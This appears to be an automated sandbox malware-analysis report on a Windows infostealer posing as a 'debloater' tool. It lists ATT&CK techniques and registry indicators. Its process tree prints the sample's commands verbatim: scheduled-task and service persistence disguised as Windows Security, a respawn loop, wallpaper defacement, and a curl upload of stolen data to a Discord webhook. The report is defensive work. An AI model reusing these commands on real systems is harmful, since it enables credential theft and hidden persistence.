cf860935a6872927f7720b555011ed4d0dced9a254d47fd83179ca7f719b3af0

Analysis

user interaction
yes
max time kernel
119s
max time network
121s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/07/2026, 00:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
microslopdebloater.exe
Size 475KB
Sample260718-an1pdset8t
SHA256 cf860935a6872927f7720b555011ed4d0dced9a254d47fd83179ca7f719b3af0
MD5 afd76bf365261ad684ba6176e19d532e
SHA1 c899f837c2d8522def41c9d2e6319a57317b5f91
SHA512 ddd67381b45a73e1ef0379f8cbeb73b5a4d744cd7e16d05608566672df52cbf9b95380c8d2524c5f4dee3d3b0bb5636207202e5d0684ab1895a1a388c8394292
SSDEEP 12288:Zo5Qg0aWoLtKc1PNzhlURLedWTAgNIFeTw7f:ZngIoPPdf
TLSH
T11FA47CC3F68005F5E836D93AC4626D22A1777D7A6B10D9E7439476236F336D3983AA03
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

credential_access defense_evasion discovery execution persistence ransomware spyware stealer

Malware Config

Signatures

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityHealth = "C:\\Users\\Admin\\AppData\\Local\\Temp\\microslopdebloater.exe"	microslopdebloater.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
53	discord.com
93	discord.com

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3B1B35A69EF84362EEF2A90D6340F4F2	microslopdebloater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3B1B35A69EF84362EEF2A90D6340F4F2	microslopdebloater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	microslopdebloater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	microslopdebloater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61	microslopdebloater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61	microslopdebloater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3	microslopdebloater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3	microslopdebloater.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\Wallpaper = "C:\\Program Files\\Windows Security\\hacked.png"	microslopdebloater.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Security\hacked.png	microslopdebloater.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2584	sc.exe
2068	sc.exe
1192	sc.exe
728	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 9 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3444	cmd.exe
4908	cmd.exe
816	cmd.exe
4100	cmd.exe
3240	cmd.exe
2480	cmd.exe
4212	cmd.exe
4124	cmd.exe
4492	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3424	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies Control Panel 2 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\WallpaperStyle = "10"	microslopdebloater.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\TileWallpaper = "0"	microslopdebloater.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	microslopdebloater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	microslopdebloater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	microslopdebloater.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\TileWallpaper = "0"	microslopdebloater.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	microslopdebloater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	microslopdebloater.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	microslopdebloater.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\Wallpaper = "C:\\Program Files\\Windows Security\\hacked.png"	microslopdebloater.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Control Panel\Desktop\WallpaperStyle = "10"	microslopdebloater.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3456	schtasks.exe
3544	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4824	microslopdebloater.exe
4824	microslopdebloater.exe
2184	microslopdebloater.exe
2184	microslopdebloater.exe
4372	chrome.exe
4372	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeBackupPrivilege	4824	microslopdebloater.exe
Token: SeBackupPrivilege	2184	microslopdebloater.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe
Token: SeShutdownPrivilege	4372	chrome.exe
Token: SeCreatePagefilePrivilege	4372	chrome.exe

Suspicious use of FindShellTrayWindow 35 IoCs

pid	Process
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe
4372	chrome.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2184 wrote to memory of 3444	2184	microslopdebloater.exe	88
PID 3444 wrote to memory of 3544	3444	cmd.exe	89
PID 2184 wrote to memory of 4908	2184	microslopdebloater.exe	90
PID 4908 wrote to memory of 2584	4908	cmd.exe	91
PID 2184 wrote to memory of 816	2184	microslopdebloater.exe	92
PID 816 wrote to memory of 2068	816	cmd.exe	93
PID 4824 wrote to memory of 4492	4824	microslopdebloater.exe	95
PID 4492 wrote to memory of 3456	4492	cmd.exe	97
PID 4824 wrote to memory of 4100	4824	microslopdebloater.exe	98
PID 4100 wrote to memory of 1192	4100	cmd.exe	100
PID 4824 wrote to memory of 3240	4824	microslopdebloater.exe	101
PID 3240 wrote to memory of 728	3240	cmd.exe	103
PID 4824 wrote to memory of 2480	4824	microslopdebloater.exe	104
PID 2184 wrote to memory of 4212	2184	microslopdebloater.exe	109
PID 2184 wrote to memory of 4124	2184	microslopdebloater.exe	114
PID 4124 wrote to memory of 5044	4124	cmd.exe	115
PID 4372 wrote to memory of 648	4372	chrome.exe	122
PID 4372 wrote to memory of 824	4372	chrome.exe	123
PID 4372 wrote to memory of 824	4372	chrome.exe	123
PID 4372 wrote to memory of 3424	4372	chrome.exe	124
PID 4372 wrote to memory of 1200	4372	chrome.exe	125
PID 4372 wrote to memory of 1200	4372	chrome.exe	125
PID 4372 wrote to memory of 4424	4372	chrome.exe	127
PID 4372 wrote to memory of 4424	4372	chrome.exe	127
PID 4372 wrote to memory of 368	4372	chrome.exe	128
PID 4372 wrote to memory of 368	4372	chrome.exe	128
PID 4372 wrote to memory of 3672	4372	chrome.exe	129
PID 4372 wrote to memory of 3672	4372	chrome.exe	129
PID 4372 wrote to memory of 1120	4372	chrome.exe	131
PID 4372 wrote to memory of 1120	4372	chrome.exe	131

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe
"C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe"
1⤵
- Adds Run key to start application
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "Windows Security Health Check" /tr "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" /sc minute /mo 15 /rl highest /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3444
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Windows Security Health Check" /tr "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" /sc minute /mo 15 /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create "WinSecHealth" binPath= "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" start= auto displayname= "Windows Security Health Service" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4908
- - C:\Windows\system32\sc.exe
    sc create "WinSecHealth" binPath= "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" start= auto displayname= "Windows Security Health Service"
    3⤵
    - Launches sc.exe
    PID:2584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start WinSecHealth >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:816
- - C:\Windows\system32\sc.exe
    sc start WinSecHealth
    3⤵
    - Launches sc.exe
    PID:2068
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c :loop & tasklist | findstr SecurityHealthService >nul || start "" "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" & timeout /t 30 >nul & goto loop
  2⤵
  - Executes a command shell one-liner
  PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -X POST "https://discord.com/api/webhooks/1527774699940085773/a4oB4q_QqhMOhz0mqIUhhUnpeGecW_Zu00YA3w6aSV-RPCuheAolyj8yEazPKvBfkBbG" -H "Content-Type: multipart/form-data" -F "payload_json={\"content\":\"Stolen data - Part 1/2\"}" -F "file1=@C:\Users\Admin\AppData\Local\Temp\\chunk_tmp\steal.part001" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4124
- - C:\Windows\system32\curl.exe
    curl -X POST "https://discord.com/api/webhooks/1527774699940085773/a4oB4q_QqhMOhz0mqIUhhUnpeGecW_Zu00YA3w6aSV-RPCuheAolyj8yEazPKvBfkBbG" -H "Content-Type: multipart/form-data" -F "payload_json={\"content\":\"Stolen data - Part 1/2\"}" -F "file1=@C:\Users\Admin\AppData\Local\Temp\\chunk_tmp\steal.part001"
    3⤵
    PID:5044

C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe
C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "Windows Security Health Check" /tr "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" /sc minute /mo 15 /rl highest /f >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "Windows Security Health Check" /tr "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" /sc minute /mo 15 /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create "WinSecHealth" binPath= "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" start= auto displayname= "Windows Security Health Service" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Windows\system32\sc.exe
    sc create "WinSecHealth" binPath= "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" start= auto displayname= "Windows Security Health Service"
    3⤵
    - Launches sc.exe
    PID:1192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start WinSecHealth >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\system32\sc.exe
    sc start WinSecHealth
    3⤵
    - Launches sc.exe
    PID:728
- C:\Windows\system32\cmd.exe
  cmd /c :loop & tasklist | findstr SecurityHealthService >nul || start "" "C:\Users\Admin\AppData\Local\Temp\microslopdebloater.exe" & timeout /t 30 >nul & goto loop
  2⤵
  - Executes a command shell one-liner
  PID:2480

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4372
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff81975c728,0x7ff81975c734,0x7ff81975c740
  2⤵
  PID:648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1696,i,9304970900595045262,15183114721196917827,262144 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1780 /prefetch:2
  2⤵
  PID:824
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1616,i,97747982632016250,14742279507615972230,524288 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2280 /prefetch:3
  2⤵
  - System Time Discovery
  PID:3424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2388,i,2403285350307721711,16423270018703667267,524288 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2520 /prefetch:8
  2⤵
  PID:1200
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3252,i,1520823303962838992,11625658513127832789,2097152 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:4424
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3344,i,6118956793584392580,17326158589560708578,2097152 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3404 /prefetch:1
  2⤵
  PID:368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4532,i,5688195066570634760,15423125168251760485,2097152 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4552 /prefetch:2
  2⤵
  PID:3672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3996,i,14505433028604282457,8483357049596015044,2097152 --field-trial-handle=1948,i,1408514299475693905,8440065446830366678,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4008 /prefetch:1
  2⤵
  PID:1120

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 72524f9840d5956eb0ff926aa1e09364cd1ba2b08c8ff62dcfc64e797d14c09a
MD5 b41871f6b8754a6b7a989c1a95a484f4
SHA1 315654ac5b1e49af9152389f549568c133ea94a0
SHA512 3b65353f0e47af753ee7f5174f2bc0b9f6eb244f021b93993678a5a7bd31e2a64c0785b110f4ed8d5e3b0a37f25911b1001e7afd1f9e6b57f6d8abdac7023df7
TLSH
T1B33166F793B4D97E8A11A2E4AB156F1FCE690524131C38A688D46E6B43F29B2D10038F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity
Size 523B
SHA256 03089361b77e0b967f34444afc8b1f9286e8b5dca5e8a6a11e008ca4baec4645
MD5 d0bd9e9d1161c4bbfeb232fd5cea1b27
SHA1 ee9ee30f55965302efb3fa32f39f8fa214488cf8
SHA512 5fb17e7db10a8e3f319acca9a91c031db71b7bac7a77eabf5d77dc13aee4f3513ddba0d0bfc0d052c4939928a6ebc30cd512cad90b4125d0fe6c18369d23bae0
TLSH
T1A4F09E77A369B46350B945FB2E04B80A19B9B87002805CE4CFAAC27CF0A15F31B12457
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 246911342994d979111c8f80ba24b1e8f294f4ddb2873cd42fb1233b880e3335
MD5 7d41ff13bcb81605695b00f013cecd79
SHA1 ccb022f3a5c4e4a60dfe1fd7c469869aa4474d64
SHA512 5f64baef7324d41a3cbb33c64c2314eca715d1b10227ec606ceee9ecf3b6ac03497f719db8fad1be87bd566e71356e8883f66a64ba95e0bc2ed7297f912a2c1d
SSDEEP 192:KRBx4HJpGHlv7MF+pAPRp2S9HHsb+WNnbI0CerPyIsnAUge:KRBxdVgoUX91wc0Jfe
TLSH
T1D432B65EAD15697B6CCBD229FE227B63D3F5103121D02E84EAFD8A2C15E76CC221701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 34d3b150d9ebc3413240a436dcd8cc4d2da0e46d00a681d2118263aea9d32f3e
MD5 73285efb9f7ee0bd384426865ccccf8e
SHA1 51903f2b7a36fa90857257254c2bebdfe5da7eef
SHA512 e9bab3e8a04453bd7ca516137298f57170d38058ccd5df170108532fdb6eefb2d5ae94de47967a5242cb07be597050bef4f69d7f740877c626e131f01424e28d
SSDEEP 384:TRjPq7KxkXqKf/pUZNCgVLH2HfgslT37pLuLcSjFgXODPO+ErU3voHGjBm2oR0h9:TxPq7KxkXqKf/pUZNCgVLH2HfgsV37pM
TLSH
T1287219676C4C8E7B0F94CACCDC167F4F9DB5025B65EA886482FA582903D5ADF01061FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 3a760ef1b2f21eb3d6b91584155685b09d514dc57341453d8939055adbead462
MD5 964a500edfa84338414e2d54230688ef
SHA1 694f2bf168b40b05344138a97bce653f4a981dd6
SHA512 a4567a1f35cb20559e0aaa7437d7ad2c1b668b0a70fed5ceeda37ecbb2c7d32b514d197f9b560830d19d944f928024293887fb3605f04bb152694ca5d519b867
TLSH
T161B01201C4015100C00349B8152354AC7148DF10950A170593E0A9338C394618014060
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59f4e5.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe59f4e5.TMP
Size 96B
SHA256 55ab5b88313e5296ab9577092f1565e7e05e8a5d188230c9c956f5cc6a7b51e9
MD5 7cbc10d0dba5bdfd97f50fd0320ae93c
SHA1 1536f7040e4a5cc90c3713189b52fe6dead25bea
SHA512 90335af22be7ed60e6cea17db681b487a12ad75f7e7a8494ef4ebbf9ba7c2e4e34a737f7662d2f6017ff904970343f8d22b4c16363064c73220fdfd92755ffaf
TLSH
T12CB02220C00A2202C0020BB03082A0C830E0CF28CA03030382E00F23EE283308030022
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 9048f9ea2c3bc0a9a2e9f809d4a2c2a220e9987bff8f8144c8aebe745ea30e75
MD5 c401cbe928d85ab8100140b44a882a37
SHA1 d36cd12bc7fe6a3f83f73b4414f0dfe4cddc6e43
SHA512 c852610df6e16e9e89b6ab2754ef790df2586a4f188430f0f2c27368a095a1f0f053a1a10c78e49794199bfb1df9d3b98405fdb2fe4f9acc0fec3f140ffe265e
SSDEEP 3072:/+Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMM:/Zm7Rkm1tYpBeh2BAoM
TLSH
T14AC312275E75E9375878BB0EB08E0B1F1EF14AA6D930DA92C8D86B0467F97CC1A05D34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
